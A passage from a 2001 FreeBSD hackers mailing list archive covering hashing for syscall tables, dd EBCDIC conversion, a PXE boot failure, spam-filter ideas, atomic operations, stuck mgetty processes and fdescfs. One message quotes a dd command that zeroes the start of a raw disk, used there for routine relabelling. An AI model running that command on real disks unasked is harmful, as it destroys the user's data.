have some details. A minimal perfect hash >function is only worth it (IMHO) when the set of input keys is mostly fixed and >the hash function is used many many times (e.g. programming language keywords). And even then it's seldom worth it according to the people behind the LCC compiler... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:34:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mooseriver.com (erie.mooseriver.com [205.166.121.26]) by hub.freebsd.org (Postfix) with ESMTP id ABD0B37B698 for ; Mon, 29 Jan 2001 13:34:02 -0800 (PST) Received: (from jgrosch@localhost) by mooseriver.com (8.11.1/8.9.3) id f0TLXve55593 for hackers@freebsd.org; Mon, 29 Jan 2001 13:33:57 -0800 (PST) (envelope-from jgrosch) Date: Mon, 29 Jan 2001 13:33:57 -0800 From: Josef Grosch To: hackers@freebsd.org Subject: EBCDIC -> ASCII Message-ID: <20010129133357.A55581@mooseriver.com> Reply-To: jgrosch@mooseriver.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anybody know of an EBCDIC to ASCII converter? I thought that at one time FreeBSD had one of these. Josef -- Josef Grosch | Another day closer to a | FreeBSD 4.2 jgrosch@MooseRiver.com | Micro$oft free world | www.bafug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:35:41 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id BD0F937B69F for ; Mon, 29 Jan 2001 13:35:19 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.11.1) with ESMTP id f0TLZKK24564; Mon, 29 Jan 2001 22:35:20 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: jgrosch@mooseriver.com Cc: hackers@FreeBSD.ORG Subject: Re: EBCDIC -> ASCII In-Reply-To: Your message of "Mon, 29 Jan 2001 13:33:57 PST." <20010129133357.A55581@mooseriver.com> Date: Mon, 29 Jan 2001 22:35:20 +0100 Message-ID: <24562.980804120@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010129133357.A55581@mooseriver.com>, Josef Grosch writes: > >Does anybody know of an EBCDIC to ASCII converter? I thought that at one >time FreeBSD had one of these. man 1 dd -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:36:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 1B06537B6A1; Mon, 29 Jan 2001 13:35:59 -0800 (PST) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f0TLUE345019; Mon, 29 Jan 2001 13:30:15 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Mon, 29 Jan 2001 13:35:12 -0800 (PST) From: John Baldwin To: Danny Braniss Subject: Re: Really odd "BTX halted" problem booting - PXE/diskless Cc: hackers@FreeBSD.org, freebsd-stable@FreeBSD.org, (Paul Saab) , Terry Lambert Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 29-Jan-01 Danny Braniss wrote: > im now being bitten by this one, but with a twist: > on a compaq deskpro workstation it's ok > on a dell-precision 420, it bombs. > both bioses are configured to boot via the network/pxe. > > im using the same disks for both boxes. > > i labeled the disks with: > dd if=/dev/zero of=/dev/rda0 bs=1k count=1 > disklabel -Brw da0 auto > > i then went ahead an played with vinum, all went fine on the Compaq, > i then wanted to do some comparisons, so i hooked up the disks to the Dell > and now BTX bombs. > > is there a way, that when booting from the net, btx ignores the mbr/fdisk > info? BTX doesn't read your MBR, it sounds like the BIOS in the machine is crapping itself out on the disks in question. If you are using dangerously dedicated mode on these disks, don't. :) -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:38:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from chopper.Poohsticks.ORG (chopper.poohsticks.org [63.227.60.73]) by hub.freebsd.org (Postfix) with ESMTP id 35E9F37B404 for ; Mon, 29 Jan 2001 13:38:01 -0800 (PST) Received: from chopper.Poohsticks.ORG (drew@localhost.poohsticks.org [127.0.0.1]) by chopper.Poohsticks.ORG (8.10.1/8.10.1) with ESMTP id f0TLbxh22087; Mon, 29 Jan 2001 14:37:59 -0700 Message-Id: <200101292137.f0TLbxh22087@chopper.Poohsticks.ORG> To: jgrosch@mooseriver.com Cc: hackers@FreeBSD.ORG Subject: Re: EBCDIC -> ASCII In-reply-to: Your message of "Mon, 29 Jan 2001 13:33:57 PST." <20010129133357.A55581@mooseriver.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <22083.980804278.1@chopper.Poohsticks.ORG> Date: Mon, 29 Jan 2001 14:37:59 -0700 From: Drew Eckhardt Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010129133357.A55581@mooseriver.com>, jgrosch@mooseriver.com write s: > >Does anybody know of an EBCDIC to ASCII converter? I thought that at one >time FreeBSD had one of these. This is a standard dd(1) feature. More specifically, you want to use the conv=ascii option. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:39:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fjord.dignus.com (sdsl-64-244-29-38.dsl.rdu.megapath.net [64.244.29.38]) by hub.freebsd.org (Postfix) with ESMTP id F258437B699 for ; Mon, 29 Jan 2001 13:38:57 -0800 (PST) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by fjord.dignus.com (8.11.1/8.11.1) with ESMTP id f0TLdPn50589; Mon, 29 Jan 2001 16:39:26 -0500 (EST) (envelope-from rivers@dignus.com) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id QAA25500; Mon, 29 Jan 2001 16:39:19 -0500 (EST) Date: Mon, 29 Jan 2001 16:39:19 -0500 (EST) From: Thomas David Rivers Message-Id: <200101292139.QAA25500@lakes.dignus.com> To: freebsd-hackers@freebsd.org, jgrosch@mooseriver.com Subject: Re: EBCDIC -> ASCII In-Reply-To: <20010129133357.A55581@mooseriver.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Josef Grosch wrote: > > > Does anybody know of an EBCDIC to ASCII converter? I thought that at one > time FreeBSD had one of these. > > > Josef Check out the `dd' command.. particularly the `conv' suboption: conv= value[, value ...] Where value is one of the symbols from the following list. ascii, oldascii The same as the unblock value except that characters are translated from EBCDIC to ASCII before the records are converted. (These values imply unblock if the operand cbs is also specified.) There are two conver- sion maps for ASCII. The value ascii specifies the rec- ommended one which is compatible with System V. The value oldascii specifies the one used in historic AT&T and pre-4.3BSD-reno systems. - Dave Rivers - -- rivers@dignus.com Work: (919) 676-0847 Get your mainframe (370) `C' compiler at http://www.dignus.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13:47:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mooseriver.com (erie.mooseriver.com [205.166.121.26]) by hub.freebsd.org (Postfix) with ESMTP id 551E837B69B for ; Mon, 29 Jan 2001 13:47:05 -0800 (PST) Received: (from jgrosch@localhost) by mooseriver.com (8.11.1/8.9.3) id f0TLgLH55749; Mon, 29 Jan 2001 13:42:21 -0800 (PST) (envelope-from jgrosch) Date: Mon, 29 Jan 2001 13:42:21 -0800 From: Josef Grosch To: Poul-Henning Kamp Cc: hackers@FreeBSD.ORG Subject: Re: EBCDIC -> ASCII Message-ID: <20010129134221.A55737@mooseriver.com> Reply-To: jgrosch@mooseriver.com References: <20010129133357.A55581@mooseriver.com> <24562.980804120@critter> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <24562.980804120@critter>; from phk@critter.freebsd.dk on Mon, Jan 29, 2001 at 10:35:20PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jan 29, 2001 at 10:35:20PM +0100, Poul-Henning Kamp wrote: > In message <20010129133357.A55581@mooseriver.com>, Josef Grosch writes: > > > >Does anybody know of an EBCDIC to ASCII converter? I thought that at one > >time FreeBSD had one of these. > > man 1 dd Doh! Time to re-read the man pages. Thanks Josef -- Josef Grosch | Another day closer to a | FreeBSD 4.2 jgrosch@MooseRiver.com | Micro$oft free world | www.bafug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 14: 8: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12]) by hub.freebsd.org (Postfix) with ESMTP id 82DE637B698 for ; Mon, 29 Jan 2001 14:07:43 -0800 (PST) Received: from bitblocks.com (ts016d06.sjc-ca.concentric.net [206.173.237.18]) by devonshire.cnchost.com id RAA02603; Mon, 29 Jan 2001 17:00:55 -0500 (EST) [ConcentricHost SMTP Relay 1.10] Message-ID: <3A75E812.F1182BF6@bitblocks.com> Date: Mon, 29 Jan 2001 14:00:50 -0800 From: Bakul Shah X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Matt Dillon , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <24289.980802466@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >If you can get to old CACMs see `Minimal Perfect Hash Functions Made Simple' > >by Richard J. Cichelli, Comm. of ACM, Jan 1980. AFAIK gperf uses some > >variation of that algorithm and may have some details. A minimal perfect hash > >function is only worth it (IMHO) when the set of input keys is mostly fixed and > >the hash function is used many many times (e.g. programming language keywords). > > And even then it's seldom worth it according to the people behind the LCC > compiler... I'd be interested in a reference if you have one [I don't doubt you, just curious). I used gperf to generate such a function in a verilog parser and came to the same conclusion but it can't be generalized to the syscall (or for that matter database) case. The reason it doesn't buy much in a compiler is because what is not a keyword is an identifier and you end up doing a symbol table lookup on it. So you may as well just do a symbol table search for everything (also, typically there are more identifiers than keywords in a program so it all comes out in a wash). This is not the case for a simple lookup (database or syscall) -- you don't do another lookup on the same string if the first search fails. I agree that for a very small number of syscalls a simple hash or even a strcmp is good enough but that doesn't scale well. Min. perfect hash function is about as good as it gets *if* one wants to allow for a large number of loadable syscalls *without* apriori assignment of numbers. With an IANA like central number assigning authority, preassignment of syscall numbers is far better. -- bakul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 14:12:59 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id D17C737B402 for ; Mon, 29 Jan 2001 14:12:38 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.11.1) with ESMTP id f0TMCbK24887; Mon, 29 Jan 2001 23:12:37 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Bakul Shah Cc: Matt Dillon , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: Your message of "Mon, 29 Jan 2001 14:00:50 PST." <3A75E812.F1182BF6@bitblocks.com> Date: Mon, 29 Jan 2001 23:12:37 +0100 Message-ID: <24885.980806357@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A75E812.F1182BF6@bitblocks.com>, Bakul Shah writes: >> >If you can get to old CACMs see `Minimal Perfect Hash Functions Made Simple' >> >by Richard J. Cichelli, Comm. of ACM, Jan 1980. AFAIK gperf uses some >> >variation of that algorithm and may have some details. A minimal perfect hash >> >function is only worth it (IMHO) when the set of input keys is mostly fixed and >> >the hash function is used many many times (e.g. programming language keywords). >> >> And even then it's seldom worth it according to the people behind the LCC >> compiler... > >I'd be interested in a reference if you have one [I don't doubt you, just >curious). They say so in their book: http://www.amazon.com/exec/obidos/ASIN/0805316701/qid=980806275/sr=1-28/ref=sc_b_28/104-5366240-4220700 -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 14:26:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id B99B337B400 for ; Mon, 29 Jan 2001 14:26:16 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f0TMNix76932; Mon, 29 Jan 2001 14:23:44 -0800 (PST) (envelope-from dillon) Date: Mon, 29 Jan 2001 14:23:44 -0800 (PST) From: Matt Dillon Message-Id: <200101292223.f0TMNix76932@earth.backplane.com> To: Poul-Henning Kamp Cc: Bakul Shah , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <24885.980806357@critter> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :They say so in their book: : :http://www.amazon.com/exec/obidos/ASIN/0805316701/qid=980806275/sr=1-28/ref=sc_b_28/104-5366240-4220700 : : :-- :Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 :phk@FreeBSD.ORG | TCP/IP since RFC 956 :FreeBSD committer | BSD since 4.3-tahoe And they are right. When I wrote DICE (Ansi C compiler for the Amiga), I tried to use something similar to a perfect hash for keyword and string element references in the lexer token, to reduce the amount of meta-data I needed to store in the token. I thought it would be very cool, but it turned out not to help at all. It actually made debugging more difficult. I wound up simply using a string table and converting strings to a pointer into the string table. This worked a whole lot better. USENET news systems, including my own Diablo, use a big hash with a low probability of conflict to map the message-id's into the history database. Diablo used a 64 bit CRC. I believe INN has moved to using MD5's. These are not perfect hashes but the serve much the same purpose - reducing a variable length string into a constant-length key. I would argue that the hash/key construct is useful when you are dealing with millions or hundreds of millions of discrete pieces of information (as a news system must), but not so useful for something like a syscall table where long term portability is more important. If you need syscalls for experimental ops, just assign high syscall numbers not likely to be used by others during your experiment. It's no biggy. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 15:17:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n37.san.rr.com (dt051n37.san.rr.com [204.210.32.55]) by hub.freebsd.org (Postfix) with ESMTP id 88BFA37B404 for ; Mon, 29 Jan 2001 15:17:23 -0800 (PST) Received: from slave (Studded@slave [10.0.0.1]) by dt051n37.san.rr.com (8.9.3/8.9.3) with ESMTP id PAA85964; Mon, 29 Jan 2001 15:17:09 -0800 (PST) (envelope-from DougB@gorean.org) Date: Mon, 29 Jan 2001 15:17:08 -0800 (PST) From: Doug Barton X-X-Sender: To: "Koster, K.J." Cc: "'skywizard@time.net.my'" , Subject: RE: Kernel Hacking (i tried not to make it lame) In-Reply-To: <59063B5B4D98D311BC0D0001FA7E4522026D7B63@l04.research.kpn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 26 Jan 2001, Koster, K.J. wrote: > Dear Ariff, > > > > > I remembered porting back cd9660 to 2.2.x tree, and now look > > forward porting softupdates (If anybody can give me some light > > I really appreciate that). I'm reviewing sources from current, > > stable and from other BSD project such OpenBSD to pick all > > the good stuffs. > > I'm a happy 2.2.x user. > > > I think Yahoo! is using still on 2.2.8. Don't let your imagination run away with you. :) Doug -- "Pain heals. Chicks dig scars. Glory . . . lasts forever." -- Keanu Reeves as Shane Falco in "The Replacements" Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 15:26: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by hub.freebsd.org (Postfix) with SMTP id BD33737B404 for ; Mon, 29 Jan 2001 15:25:48 -0800 (PST) Received: (qmail 29253 invoked from network); 29 Jan 2001 23:25:46 -0000 Received: from jhs.muc.de (193.149.49.84) by slarti.muc.de with SMTP; 29 Jan 2001 23:25:46 -0000 Received: from park.jhs.private (localhost [127.0.0.1]) by jhs.muc.de (8.11.0/8.11.0) with ESMTP id f0TNFLZ28871; Mon, 29 Jan 2001 23:16:28 GMT (envelope-from jhs@park.jhs.private) Message-Id: <200101292316.f0TNFLZ28871@jhs.muc.de> To: Patryk Zadarnowski Cc: hackers@FreeBSD.ORG Subject: Re: Snowhite and the Seven Dwarfs - The REAL story! In-Reply-To: Message from Patryk Zadarnowski of "Mon, 29 Jan 2001 20:00:02 +1100." <20010129200002V.pat@jantar.org> Date: Tue, 30 Jan 2001 00:15:21 +0100 From: "Julian Stacey Jhs@jhs.muc.de" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > A few months ago someone suggested that all binary attachments should be > stripped from freebsd-hackers mail. I believe it is still a very good idea, > and patches tend to be posted as text anyway. Good Idea. We should'nt filter out all mail with MIME enclosures, as occasionally MIME enclosures are validly used on FreeBSD lists, But to list a few WIBNIs: (WIBNI = Woundn't It Be Nice If ) We could bounce/kill all postings containing MIME with .exe spam. (We have uuencode in the rare event we need to broadcast a binary.) We could bounce/kill postings containing MIME with .doc enclosures, stopping: more spam & EG non Unix oriented people dumping .doc resumes on jobs@freebsd. OK, it would also reject .doc format job adverts, some may not like that, but if a company is so uncaring/incompetent they can't even reformat a bounced .doc in ascii or some public format, I'm not interested. We could also bounce/kill postings containing Content-Type: text/html; charset=big5 & other non latin fonts, as we all use latin fonts on freebsd lists, it being the only one we all understand. Sure some people set charset=big5 by mistake (& then send ascii anyway), & they are discussing real FreeBSD issues, but it'd cut spam from non latin charset originators. We could also bounce/kill postings containing possibly auto-load HREFs ? (Do they exist as such ? I got one direct, not from a BSD list, looks rather innocuous initially, starting: ] ----- ] MIME-Version: 1.0 ] Content-Type: text/html; charset=big5 ] Content-Transfer-Encoding: base64 ] ] PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u ] YWwvL0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT6rT67JsbazbsXppUCsyTwvVElUTEU+DQo8 ] TUVUQSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIgaHR0cC1lcXVpdj1Db250 ] ZW50LVR5cGU+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4wMC4yNjE0LjM1MDAiIG5hbWU9 ] R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZiBsZWZ0TWFyZ2luPTAg ] dG9wTWFyZ2luPTA+DQo8VEFCTEUgYm9yZGVyPTAgY2VsbFBhZGRpbmc9MCBjZWxsU3BhY2lu ] ---- But EXMH hangs seemingly waits for my gateway, & can also can show it as: ] -------- ] ] ??????? ] ] ] ] ] ] ] ] ]




]
]
] ] ] ]
X_.---._/ v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Jan 31 23:48:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from urban.iinet.net.au (urban.iinet.net.au [203.59.24.231]) by hub.freebsd.org (Postfix) with ESMTP id 8CE0437B491; Wed, 31 Jan 2001 23:48:02 -0800 (PST) Received: from elischer.org (reggae-18-200.nv.iinet.net.au [203.59.80.200]) by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id PAA08832; Thu, 1 Feb 2001 15:47:56 +0800 Message-ID: <3A791493.FC414DEB@elischer.org> Date: Wed, 31 Jan 2001 23:47:31 -0800 From: Julian Elischer X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en, hu MIME-Version: 1.0 To: John Baldwin Cc: Matthew Emmerton , freebsd-hackers@FreeBSD.org Subject: Re: Atomic bit operations References: Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Baldwin wrote: > > On 31-Jan-01 Matthew Emmerton wrote: > > Hi all, > > > > I've taken a look around for an implementation of atomic bit operations in > > FreeBSD (similar to Linux' asm/bitopt.h, which include clear_bit() and > > test_and_set_bit()) but haven't found any. The only thing I've found are > > the atomic clear/set/add/sub routines in machine/atomic.h. > > > > Do we have an implementation of atomic bit operations, and if we don't, > > would we like some? > > Erm, atomic_set() sets's bits, and atomic_clear() clear's bits. Anything else > you might need can be done with atomic_cmpset() anyways. Also, atomic > operations are very hard to debug, esp. to check for race conditions, so there > direct use is discouraged. Instead, use a higher level primitive such as a > mutex or other appropriate lock. There is also talk of a potential abstract > refcount type so that simple reference counts can be optimized, though that has > been shot down thus far. by who?? I really want this.... > > > -- > > Matt Emmerton > > -- > > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000-2001 ---> X_.---._/ v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 0:16:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from jason.argos.org (a1-3b044.neo.lrun.com [24.93.181.44]) by hub.freebsd.org (Postfix) with ESMTP id 79D3937B503 for ; Thu, 1 Feb 2001 00:15:54 -0800 (PST) Received: from localhost (mike@localhost) by jason.argos.org (8.10.1/8.10.1) with ESMTP id f1185sU22543 for ; Thu, 1 Feb 2001 03:05:54 -0500 Date: Thu, 1 Feb 2001 03:05:54 -0500 (EST) From: Mike Nowlin To: freebsd-hackers@freebsd.org Subject: modems, rp driver, stuck processes... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've been trying to figure this out for some time now... I have several systems that have 8- and 16-port RocketPort boards in them, connected to banks of modems. (ISA cards on all of them - I just got a PCI RP board, but haven't installed it anywhere yet.) These modems make a lot of outgoing calls (300+ each per day), and a small (2-3 each/day) amount of incoming calls. Every so often, I end up with a mgetty process that refuses to go away: 37021 ?? IE 0:00.04 /usr/local/sbin/mgetty cuaR1 38379 ?? I 0:00.04 /usr/local/sbin/mgetty cuaR3 38642 ?? I 0:00.04 /usr/local/sbin/mgetty cuaR0 (PID 37021 is the one that's stuck.) Note the "E" in the status field (ps ax). From the ps man page, "E" means "The process is trying to exit." "kill -9" doesn't make it die... Sometimes, cycling the modem power will fix the problem, but only about half of the time. The rest of the time, a reboot is required. I have a little prog that shows what the computer thinks the hardware handshaking lines say - on a "stuck" line, it says that DSR & CTS are low, where they're normally high on a working modem. Funny thing is, my little Radio Smack RS-232 tester says that the DSR & CTS lines are actually high, as do the modem LEDs. Any ideas? (My next step is to grab a voltmeter and measure the juice on those pins - I'm assuming it's close enough to the +-12V to give a valid signal, but who knows.... Even so, I'd think there should be SOME way to use a software fix to release the port. If "kill -9" doesn't kill a process, I'd almost consider that a bug.) mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 5:39:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from c014.sfo.cp.net (c014-h001.c014.sfo.cp.net [209.228.12.65]) by hub.freebsd.org (Postfix) with SMTP id BC84837B69D for ; Thu, 1 Feb 2001 05:39:21 -0800 (PST) Received: (cpmta 6681 invoked from network); 1 Feb 2001 05:39:21 -0800 Received: from m12hRs4n205.midsouth.rr.com (HELO mike) (24.95.125.205) by smtp.valuedata.net (209.228.12.65) with SMTP; 1 Feb 2001 05:39:21 -0800 X-Sent: 1 Feb 2001 13:39:21 GMT Message-ID: <001b01c08c54$653b4ae0$0200000a@mike> From: "Daryl Chance" To: "FreeBSD Hackers" References: <003901c08b9d$107b0d40$0200000a@mike> <20010131233508.A70852@xor.obsecurity.org> Subject: Re: Moving to KLM's Date: Thu, 1 Feb 2001 07:39:25 -0600 Organization: ValueData, LLC MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ok, what would be the minimal kernel that i can compile :), or is there a document somewhere that says that info? We have LINT, should we make something called MIN for minimal kernel needed to boot? Thanks, - Daryl Chance | And which parallel universe did ValueData, LLC | YOU crawl out of? Memphis, TN | - http://www.thinkgeek.com ----- Original Message ----- From: "Kris Kennaway" To: "Daryl Chance" Cc: "FreeBSD Hackers" Sent: Thursday, February 01, 2001 1:35 AM Subject: Re: Moving to KLM's On Wed, Jan 31, 2001 at 09:47:05AM -0600, Daryl Chance wrote: > Hi, > > I'm wanting to try and move from compiling a kernel with everything > in it, to complining a minimal kernel and loading the klms i need (NFS, > IPFW, etc etc). What file would i specify to load all the klms i want? > Is there one, kinda like the sysctl file? Or do I do it a differnt way. /boot/loader.conf Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 7:24: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from nebula.cybercable.fr (d217.dhcp212-126.cybercable.fr [212.198.126.217]) by hub.freebsd.org (Postfix) with ESMTP id CD3CD37B503 for ; Thu, 1 Feb 2001 07:23:45 -0800 (PST) Received: (from mux@localhost) by nebula.cybercable.fr (8.11.2/8.11.2) id f11FNr100780 for freebsd-hackers@freebsd.org; Thu, 1 Feb 2001 16:23:53 +0100 (CET) (envelope-from mux) From: Maxime Henrion Date: Thu, 1 Feb 2001 16:23:52 +0100 To: freebsd-hackers@freebsd.org Subject: fdescfs oddities Message-ID: <20010201162352.B351@nebula.cybercable.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I run a 4.2-STABLE machine, world done this morning. I had some troubles with fdescfs. Reading the fdesc(5) manual page, I have to mount the fdescfs like I would mount procfs. But if I compile my kernel with options FDESC or if I load the fdesc.ko kernel module, I have access to /dev/fd/* and /dev/std* without mounting anything. Outdated documentation ? The real problem comes when I actually try to mount fdescfs. I was able to mount it several times on the same place (/dev) and 'mount' reported fdescfs as mounted several times. Just after this, my box locked up. I was able to switch to another virtual tty with alt+Fx but wasn't able to type anything nor to reboot with ctrl+alt+suppr. Cheers, Maxime -- Don't be fooled by cheap finnish imitations ; BSD is the One True Code Key fingerprint = F9B6 1D5A 4963 331C 88FC CA6A AB50 1EF2 8CBE 99D6 Public Key : http://www.epita.fr/~henrio_m/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 8: 9:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id AED8937B503 for ; Thu, 1 Feb 2001 08:08:26 -0800 (PST) Received: (qmail 13220 invoked by uid 1000); 1 Feb 2001 16:05:59 -0000 Date: Thu, 1 Feb 